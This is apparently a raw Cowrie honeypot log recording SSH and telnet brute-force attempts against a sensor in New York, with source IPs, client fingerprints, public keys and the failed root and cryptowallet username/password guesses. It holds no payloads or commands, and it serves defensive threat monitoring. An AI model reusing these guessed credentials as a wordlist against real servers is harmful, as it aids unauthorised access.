{"eventid":"cowrie.login.failed","username":"root","password":"mexc456","message":"login attempt [root/mexc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:57.806564Z","src_ip":"144.91.108.61","session":"960b2a9ecc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:09:58.902022Z","src_ip":"144.91.108.61","session":"960b2a9ecc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":40864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b1e38964c14","protocol":"ssh","message":"New connection: 91.92.40.11:40864 (10.17.0.5:22) [session: 9b1e38964c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:11.255092Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:11.337723Z","src_ip":"91.92.40.11","session":"9b1e38964c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":37092,"dst_ip":"10.17.0.5","dst_port":22,"session":"a90e0cb14ad9","protocol":"ssh","message":"New connection: 199.192.25.149:37092 (10.17.0.5:22) [session: a90e0cb14ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:11.423703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:11.433228Z","src_ip":"199.192.25.149","session":"a90e0cb14ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:11.503235Z","src_ip":"199.192.25.149","session":"a90e0cb14ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cumberland789","message":"login attempt [root/cumberland789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:11.712885Z","src_ip":"199.192.25.149","session":"a90e0cb14ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:12.784417Z","src_ip":"199.192.25.149","session":"a90e0cb14ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51808,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd8cbd282b3c","protocol":"ssh","message":"New connection: 51.250.105.222:51808 (159.203.135.109:22) [session: fd8cbd282b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:16.128047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:16.136279Z","src_ip":"51.250.105.222","session":"fd8cbd282b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:16.260584Z","src_ip":"51.250.105.222","session":"fd8cbd282b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:16.634271Z","src_ip":"51.250.105.222","session":"fd8cbd282b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:17.760645Z","src_ip":"51.250.105.222","session":"fd8cbd282b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":52850,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7504166608","protocol":"telnet","message":"New connection: 72.167.226.244:52850 (10.17.0.5:23) [session: cf7504166608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:10:40.410805Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":48718,"dst_ip":"159.203.135.109","dst_port":22,"session":"8095ef19509b","protocol":"ssh","message":"New connection: 50.6.173.74:48718 (159.203.135.109:22) [session: 8095ef19509b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:00.603565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:00.607511Z","src_ip":"50.6.173.74","session":"8095ef19509b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:00.633556Z","src_ip":"50.6.173.74","session":"8095ef19509b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cryptowallet","password":"cryptowallet123","message":"login attempt [cryptowallet/cryptowallet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:00.713440Z","src_ip":"50.6.173.74","session":"8095ef19509b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:01.745178Z","src_ip":"50.6.173.74","session":"8095ef19509b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.661473751068115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:11.072140Z","src_ip":"72.167.226.244","session":"cf7504166608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60304,"dst_ip":"10.17.0.5","dst_port":22,"session":"da346985fbc1","protocol":"ssh","message":"New connection: 103.27.238.116:60304 (10.17.0.5:22) [session: da346985fbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:26.418087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:26.421833Z","src_ip":"103.27.238.116","session":"da346985fbc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:26.697942Z","src_ip":"103.27.238.116","session":"da346985fbc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n12345678","message":"login attempt [root/n12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:27.528128Z","src_ip":"103.27.238.116","session":"da346985fbc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:28.806895Z","src_ip":"103.27.238.116","session":"da346985fbc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":33518,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d1fd111e7e","protocol":"ssh","message":"New connection: 162.241.239.202:33518 (10.17.0.5:22) [session: 33d1fd111e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:36.642889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:36.646432Z","src_ip":"162.241.239.202","session":"33d1fd111e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:36.675106Z","src_ip":"162.241.239.202","session":"33d1fd111e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"algorand2024","message":"login attempt [root/algorand2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:36.765964Z","src_ip":"162.241.239.202","session":"33d1fd111e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:37.797532Z","src_ip":"162.241.239.202","session":"33d1fd111e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.209.225","src_port":8380,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d0bf9a19e5","protocol":"ssh","message":"New connection: 62.210.209.225:8380 (10.17.0.5:22) [session: 02d0bf9a19e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.263895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.267570Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.349766Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:bd:3a:99:5b:40:ab:8b:5b:ea:ed:c7:7b:2b:84:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqbaIFPQS1qzaEbX0Yrh+3TwWvgRjirD25Vw+Tl0mV6qiBPhQADYCQzoK46a0Bu2EdDGzTcEr25iq97/04xOpFQ5F2yTBqWA7/TtkXRMEsKeA6ZDiNR2IVKpQQL5J89DbH3Ewt+OCYp2h28RI+3CKuawzbfZxe6x7Wf2J+uYjCHaoztym/b9xEnA6M6gNhBumZfdPlliP96xhFM5W+lWNjK+eCup1GYlJr1xW/nHR+lCCp2rDPFqboyy/OhzRe8f3d3Lv+dn0oEuyN3kTTtIyuHsOuvI3zl5E9QOvdOI2TIXTpQZ16qnEuWxYxFGycMoTvbWA1SDHesiDXSo1YE/PtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:bd:3a:99:5b:40:ab:8b:5b:ea:ed:c7:7b:2b:84:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.732540Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:bd:3a:99:5b:40:ab:8b:5b:ea:ed:c7:7b:2b:84:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqbaIFPQS1qzaEbX0Yrh+3TwWvgRjirD25Vw+Tl0mV6qiBPhQADYCQzoK46a0Bu2EdDGzTcEr25iq97/04xOpFQ5F2yTBqWA7/TtkXRMEsKeA6ZDiNR2IVKpQQL5J89DbH3Ewt+OCYp2h28RI+3CKuawzbfZxe6x7Wf2J+uYjCHaoztym/b9xEnA6M6gNhBumZfdPlliP96xhFM5W+lWNjK+eCup1GYlJr1xW/nHR+lCCp2rDPFqboyy/OhzRe8f3d3Lv+dn0oEuyN3kTTtIyuHsOuvI3zl5E9QOvdOI2TIXTpQZ16qnEuWxYxFGycMoTvbWA1SDHesiDXSo1YE/PtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.735202Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:50:d9:16:75:c3:44:5e:39:11:3e:98:3e:ef:aa:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnl1uOsakZjm6Piia13j9LlofxHUVmS7Y6sC20nD4iFjD3o61I8uq7f8spr14c9klsQsB2MGFGQNyM0jN6I7L+sPuSyDSONc29DIuX1xG1OWgJrVt4Ma+IFYK/ZcHEPUFWqta0QI+r2IQargP4hD/p7bbVVLH3F1nxtopX2CF0YrZN8cvcpxTkor90NUBAkWjRx3fuXbmHcSuovMacDkyS2eYfuXzrMX1ZDIk8+Y0w88L7lYZreLEsYLRzGpZlTiU1qFeha255dDv/CqQ3zrgvOxSOpvItjZsk1TwJrBrL303HwIJkl0/VgpiDjAI8EyTpx+aWhEcyAknguLXfVZN9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:50:d9:16:75:c3:44:5e:39:11:3e:98:3e:ef:aa:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.815570Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:50:d9:16:75:c3:44:5e:39:11:3e:98:3e:ef:aa:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnl1uOsakZjm6Piia13j9LlofxHUVmS7Y6sC20nD4iFjD3o61I8uq7f8spr14c9klsQsB2MGFGQNyM0jN6I7L+sPuSyDSONc29DIuX1xG1OWgJrVt4Ma+IFYK/ZcHEPUFWqta0QI+r2IQargP4hD/p7bbVVLH3F1nxtopX2CF0YrZN8cvcpxTkor90NUBAkWjRx3fuXbmHcSuovMacDkyS2eYfuXzrMX1ZDIk8+Y0w88L7lYZreLEsYLRzGpZlTiU1qFeha255dDv/CqQ3zrgvOxSOpvItjZsk1TwJrBrL303HwIJkl0/VgpiDjAI8EyTpx+aWhEcyAknguLXfVZN9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.818523Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:fb:47:0b:e3:67:9b:a0:40:be:98:70:b1:c9:01:b8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJc92f8ektJuYOTT4LTZVWafpN6VMQA8+Zr9T+axRAm7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 64:fb:47:0b:e3:67:9b:a0:40:be:98:70:b1:c9:01:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.901518Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:fb:47:0b:e3:67:9b:a0:40:be:98:70:b1:c9:01:b8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJc92f8ektJuYOTT4LTZVWafpN6VMQA8+Zr9T+axRAm7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.904184Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
